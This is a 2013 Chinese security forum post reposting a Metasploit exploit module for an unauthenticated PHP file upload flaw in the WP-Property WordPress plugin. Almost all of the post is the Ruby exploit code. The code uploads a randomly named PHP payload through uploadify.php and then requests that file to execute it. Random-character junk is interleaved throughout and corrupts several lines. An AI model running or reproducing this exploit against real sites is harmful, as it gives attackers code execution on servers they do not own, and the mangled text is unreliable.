找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2310|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞/ q% Y* A8 W: L6 @( i, L- W. K, W

! A; M; N$ p8 |0 H3 f ## # This file is part of the Metasploit Framework and may be subject to/ D7 y7 Q" [6 S6 v0 o- r
5 [8 b! h$ E; f, q
# redistribution and commercial restrictions. Please see the Metasploit/ [4 Q. F) `9 u! j2 h

4 B$ R4 R9 O' i! G+ S# p# Framework web site for more information on licensing and terms of use.
4 o+ z4 Q5 M8 I1 m9 u* `5 n3 K( C1 q. g- Q- R4 D
#   http://metasploit.com/framework/ ##* O0 l$ ^6 k" f' Y
! Y1 C  l3 O0 U! z# h. l

2 j+ R% m- z5 k8 |( f) {- Q0 p* e# y
2 Z. A" G- @  P# O0 g 9 _0 J  V  h" \( W& ]" V8 T

) d! P1 M% M4 B) [8 B$ @8 R3 a0 Brequire 'msf/core'
1 ]8 U' K0 p. U9 `" y) urequire 'msf/core/exploit/php_exe'$ Y* O% A2 O, d  s/ k5 M

& _/ a/ a, `) ?$ ]9 Rclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',' w' G( P) [& V) s+ o& E9 L
'Description'    => %q{
! H, Z, m7 @8 y3 J+ B: z4 MThis module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =># X/ v8 }0 K7 U$ ~7 d6 |
[0 c0 V1 n& r1 G4 X. Y0 A
'Sammy FORGIT', # initial discovery4 G' [& V! g$ P0 [' C  A
'James Fitts <fitts.james[at]gmail.com>' # metasploit module! W& Q3 {% d- U4 P5 K+ ?
],
! [. D) @8 e4 a'License'        => MSF_LICENSE,) T! k- T! x" s% b
'References'     =>, c2 c8 k1 F6 \* s6 B9 l
[1 H2 A( v$ V& z) @7 {9 q  ~
[ 'OSVDB', '82656' ],
2 J- @' I# R8 m: ^6 H9 O8 L[ 'BID', '53787' ],  `; a9 E1 j7 H1 b' n8 d
[ 'EDB', '18987'],0 X- b% ]5 U+ {5 f% Q8 D+ A8 [- F! G
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
: v9 u) q1 n' E0 S5 s7 w8 ?( w],
8 M+ l- q% z. F+ v; G  d'Payload'        =>- n8 p3 J$ r0 o. G4 z' @4 a
{
, s  d. p0 b, P* }* D: ~7 h0 o+ F'BadChars' => "\x00",; Z. v: l4 q3 `& v1 a1 c( d2 G( G
},9 z5 j6 M2 T: w5 s
'Platform'       => 'php',% s, }% ~& F, U" q
'Arch'           => ARCH_PHP,5 q. [6 R2 s6 U0 D3 l$ }. c" L
'Targets'        =>8 q# i- r9 X5 l/ T0 w  |  I. p
[4 ^- I) H$ D% [4 {, C/ S' g% I
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],* A, |6 e  y; R5 v' k
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
9 N# i3 @5 @7 @/ j' R! R5 y# W8 F],
' t4 u  m4 [; g+ a'DefaultTarget'  => 0,
7 K1 ?  t  `/ e  t$ _7 g'DisclosureDate' => 'Mar 26 2012'))
( @. b; j! F* A. c0 w. ]+ F3 U3 ^5 p6 [; U) Q0 h
register_options(
" Z7 n) E! G3 m, t0 x# _$ O8 B[
& y0 f9 F$ l8 b* L- y6 D) NOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']); v1 j4 @0 D. D
], self.class)
; a- `* Q6 {& f, Xend) U$ d- x8 e& d/ D7 q6 V! [
' D: G, W* w- [3 P' q  \5 c
def check
+ @% j% f+ z* y1 T9 {& V% |0 ?uri =  target_uri.path
$ ^9 z( |9 _7 j0 yuri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',. J, K3 k1 R  g# H+ _1 d5 T2 b/ z
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
; A. b2 @9 V) j% R* G4 a})8 B3 U  e* `' }- T* D
3 u4 O& X  L  G! @& x
if not res or res.code != 200
4 w/ i  g9 ^' A0 C/ e$ u( _8 lreturn Exploit::CheckCode::Unknown- e7 y5 e1 J4 l2 I
end7 _0 {7 p. G% _" @- w. H4 l  m+ a( e+ J
0 f. P/ v4 A: M9 u6 k
return Exploit::CheckCode::Appears. r" E1 c% Z0 R6 e8 [
end) \% V/ e9 M5 g. U$ }& k* A

% X- j* U" d) A# ?def exploit
  q4 p- k) ?6 j: h: ^6 L2 kuri =  target_uri.path
! Q. C" W' U  M8 f6 W# [8 Y* |, a) Vuri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)
- T# E$ ^8 F% x, h/ i0 r+ {+ O( x' i, I: k( A
data = Rex::MIME::Message.new* F$ M# \8 J1 R
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
* j. q8 G* }" p9 q8 Edata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
) Q3 ^- f5 d0 [% X: o0 ppost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
- B; y6 a8 ?1 k) D% d
4 }+ Y# O9 n6 c" U0 |print_status("#{peer} - Uploading payload #{@payload_name}")! u! q% Q3 o, E8 E6 V3 F2 U1 s
res = send_request_cgi({6 T0 u4 U) B' W7 r7 l; a1 F2 I7 C5 I
'method' => 'POST',5 {7 y" n' w2 P( \
'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
/ b% W3 ^2 }& c'ctype'  => "multipart/form-data; boundary=#{data.bound}",# h& q- [+ y/ U  s3 {- {" ?
'data'   => post_data2 w2 U2 X8 ]5 W  ]0 A$ q' _9 ?( l% d
})
3 X, b( `2 c3 X& K% C$ c% N: X' I( s- y  z; B
if not res or res.code != 200 or res.body !~ /#{@payload_name}/# x: ]7 C; K7 u4 S8 Y
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
9 c3 [* r9 o- x# _/ n* }. i) v1 send0 O5 P5 @, y9 Q8 ^' v; t

( k" z  R( b( g6 m# I+ eupload_uri = res.body( W1 H- @5 @1 \2 q4 |" \6 g) P
0 p1 q" l6 D2 q* s+ C% c# D5 e
print_status("#{peer} - Executing payload #{@payload_name}")
; _% k/ S4 R8 [. S2 ^res = send_request_raw({
! T/ e3 B1 ]0 r% E'uri'    => upload_uri,
8 T* |7 r. O9 X4 x/ E'method' => 'GET'
) {: l0 F+ q. A1 u7 Y; C1 p}), N, }& u/ Y" J* V- L  b& Q6 {# z
end% V# v6 G* _1 G: P& X& z' @0 W
end
1 x; }4 t8 |) m' {7 ~
) P+ O2 \9 q  O. g$ Z8 ^1 ^不要问我这写的是什么 怎么利用 我是说msf.
- K& f+ I: @9 {6 @/ `( t8 W& m% a1 m1 R: A, w( B& T; _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表